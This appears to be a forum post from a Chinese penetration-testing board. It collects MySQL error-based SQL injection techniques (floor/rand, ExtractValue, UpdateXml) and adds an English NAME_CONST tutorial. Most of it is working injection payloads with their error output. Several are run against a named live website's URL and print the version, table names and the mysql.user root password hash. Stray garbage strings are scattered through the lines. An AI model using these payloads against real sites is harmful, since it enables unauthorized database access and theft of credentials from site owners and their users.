中国网络渗透测试联盟

标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法 [打印本页]

---

作者: admin    时间: 2015-11-11 19:03
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
( B1 u( L$ h& c' l/ q" F" r首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
! L  Y- A! h0 @) L" N- ~$ i: R+—-+——-+———+
( b8 ^8 t3 m( [. q$ G4 D& }|  1 | test  | do it   |
& S' \: `% L7 y# E' r# _/ K# t* e+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
2 D5 [' u+ |$ i* J( T& KERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
( G. ^4 ^9 a* r  d7 H. ]ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
" l" j; }2 n3 \8 N' W; T( c, HERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

再收集：

: X) V  F* W# ~- p! P: N& ?6 Zhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
* h7 ]3 Y3 x% i, q$ r
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
5 b( `* a3 X# h# z7 Z. s) j
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
! [) V: D* |9 h! r6 m$ }  M% m7 ]
MYSQL高版本报错注入技巧-利用NAME_CONST注入
/ n% \" Y8 W* m/ o0 t% KIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

+ b4 L5 J) v5 x7 Y9 M
8 H% L) k/ ~* m9 E: J0 t相关信息

& R" z0 [" k0 {5 d& y9 A& ^, W% DNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
NAME_CONST(DATA, VALUE)
5 k, H4 m; I9 _% ]  G7 n* m
- G) {6 Z8 t$ j9 RReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
, W$ H. ^9 [* k8 }1 G6 j
# t8 C- Y# \9 p  T3 ]0 OSELECT NAME_CONST('TEST', 1)


7 M( ], [8 o/ W' m  _
|---------------|
|     TEST      |
9 z8 Q8 I) H, U% n" [|               |
- b( [1 O+ D3 p# Q: r( D4 j  o) \|---------------|
9 P9 i5 ^0 x: u/ Q& z! ]|       1       |
|               |
|---------------|
/ V) E* P  o+ Y2 ~' @/ c- l+ E
! ?% ^+ Y: b$ C' ?
5 {8 C+ A3 a4 f! S' [

* G$ ]8 F) F* D1 \http://dev.mysql.com/doc/refman/5.0/en/m...name-const
) m3 U5 n/ M' c9 nIntro to MySQL Variables
( _5 e9 {) f  h/ g7 Q. f
$ {* Y1 s" z/ }0 T! |. nOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
# R# U# o. w2 c1 [
Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
  I0 \. o& T5 K) L1 [# }

6 W" |$ e/ m0 r( ^2 L
5 g; l$ I5 X3 [

Code:
9 T/ {" F5 T& o" j2 _6 ?and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

( C0 H; |8 F0 B0 X
" ?. q6 u' \/ V; m2 G% K/ tVAR = Your MySQL variable.
( _7 A+ i! r4 Y2 q4 \: v
MySQL 5.1.3 Server System Variables

Let's try it out on my site..

Code:
+ s/ f) |' K5 @3 ?5 ]3 z3 rhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
& E8 p6 f+ ]; h/ I  v/ D0 L  k
1 H" v) u  @! P- O3 O1 dErroruplicate column name '5.0.27-community-nt'
- K+ m" D! D3 s( z6 X+ w
; h* e  X- o( A: v# [6 @. x7 ~0 n



2 b% W3 t% |! {( HNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction
0 _5 W* v9 N/ E; w
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

7 V7 _7 ?% x- t, `3 p
7 Z) A5 E/ x) `+ A" L* N5 f1 uWe should get a duplicate column 1 error...
9 p3 I6 u- T$ k) i" V% m' @
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1
  w! |9 J8 S( E3 r, u
, L2 `7 E3 @2 x8 k6 a! V: {
4 W0 B1 D! f, M8 W2 y$ z+ I



Now let's get the tables out this bitch..
/ j6 A+ r9 m6 Y; H% H* q
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

" Q4 W* f" W3 q6 l; ]. J
! @1 m  G6 K7 ^0 A: |! o6 cLet's see if it works here, if it does, we can go on and finish the job.

Code:
% I) U! ?0 m7 c  \. Yhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Erroruplicate column name 'com_admanage
1 v. O" g5 {! ~# p( r: U




9 f9 G4 [9 w7 ]  z. K) Z& J/ c) d  \3 d
5 \" m1 G4 o/ _Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

; Z, z. e( L/ m4 J/ R$ P) nLet's get the columns out of the user table..

& K7 L! N5 {' g+ e% aCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


; Z( j, f- c& k' U4 W  oSo mine looks like this, and I get the duplicate column name 'Host'.

, U- x( t3 X/ X% ?2 |Code:
' L) q$ G  Y* ~: K9 Bhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
- f4 X+ \2 x) P+ I$ y6 A
Erroruplicate column name 'Host'
4 v7 x" r6 y! S6 O+ U3 ]) t

$ U" _9 r* O) V! V; e


! X7 F6 Q: a% W5 i* ^$ e. d
Woot, time to finish this bitch off.
+ O1 C$ {) z$ M% x/ i
" N7 ]  @- _# w+ RCode:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
1 e8 g: H6 ^. x% Y  G

So mine looks like this...
+ Q+ q- [: T) }& x2 ?4 n
7 O* R7 W9 V0 I4 `9 N" t  BCode:
9 N& j/ \7 |" f/ F9 ~8 |1 K" ohttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
6 t/ P2 m2 s. p  t/ o
7 D9 j# o% _- ~7 W
% }: u6 |, a7 k+ s$ x, C

0 H# O. M% `5 h3 e' p

* N1 o$ D5 Q  d( E( z% YAnd there we have it, thanks for reading.

. O1 P) q6 N  w5 K( t9 a; F

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2